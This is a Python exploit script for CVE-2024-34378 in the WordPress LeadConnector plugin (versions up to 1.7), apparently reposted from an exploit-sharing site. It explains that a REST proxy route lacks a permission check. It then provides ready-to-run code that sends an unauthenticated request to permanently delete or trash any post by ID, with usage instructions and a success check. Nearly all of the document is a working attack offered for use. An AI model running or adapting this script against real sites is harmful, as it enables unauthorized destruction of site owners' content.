Share
## https://sploitus.com/exploit?id=PACKETSTORM:226406
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin LeadConnector <= 1.7 - Unauthenticated Arbitrary Post Deletion
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/leadconnector/
# Software Link: https://downloads.wordpress.org/plugin/leadconnector.1.7.zip
# Version: 1.7 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-34378
"""CVE-2024-34378 โ LeadConnector <= 1.7 โ Unauthenticated Arbitrary Post Deletion
Blackbox HTTP exploit against a real WordPress + LeadConnector install.
Root cause: the REST route `lc_public_api/v1/proxy` is registered with
`permission_callback => '__return_true'` (class-lc-admin.php). The proxy dispatches on the
`endpoint` query param; `endpoint=wp_delete_post` reaches `wp_delete_post($post_id, $force_delete)`
with `post_id`/`force_delete` taken from the attacker-controlled `data` JSON โ no capability,
nonce or ownership check. Any anonymous user can trash or permanently delete any post/page.
Usage:
python3 CVE-2024-34378_leadconnector.py --target http://localhost:8090 --post-id 21 --force
"""
import argparse, json, sys
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--post-id", type=int, required=True, help="post/page ID to delete")
ap.add_argument("--force", action="store_true", help="permanently delete (bypass trash)")
args = ap.parse_args()
base = args.target.rstrip("/")
data = json.dumps({"post_id": args.post_id, "force_delete": bool(args.force)})
url = base + "/wp-json/lc_public_api/v1/proxy"
params = {"endpoint": "wp_delete_post", "data": data}
print(f"[*] Target: {base}")
print(f"[*] Deleting post_id={args.post_id} (force={args.force}) as UNAUTHENTICATED user")
print(f"[*] GET {url}?endpoint=wp_delete_post&data={data}")
r = requests.get(url, params=params, timeout=20, verify=False)
print(f"[*] Response: HTTP {r.status_code}")
print(f"[*] Body: {r.text[:400]}")
# success => wp_delete_post returns the deleted post object (JSON with ID)
ok = r.status_code == 200 and (f'"ID":{args.post_id}' in r.text.replace(" ", "")
or '"post_status":"trash"' in r.text.replace(" ", "")
or str(args.post_id) in r.text) and '"error":true' not in r.text
if ok:
print(f"\n[+] Post {args.post_id} deletion request accepted by the plugin (unauthenticated).")
return 0
print("\n[-] Response did not confirm deletion; inspect body above.")
return 1
if __name__ == "__main__":
sys.exit(main())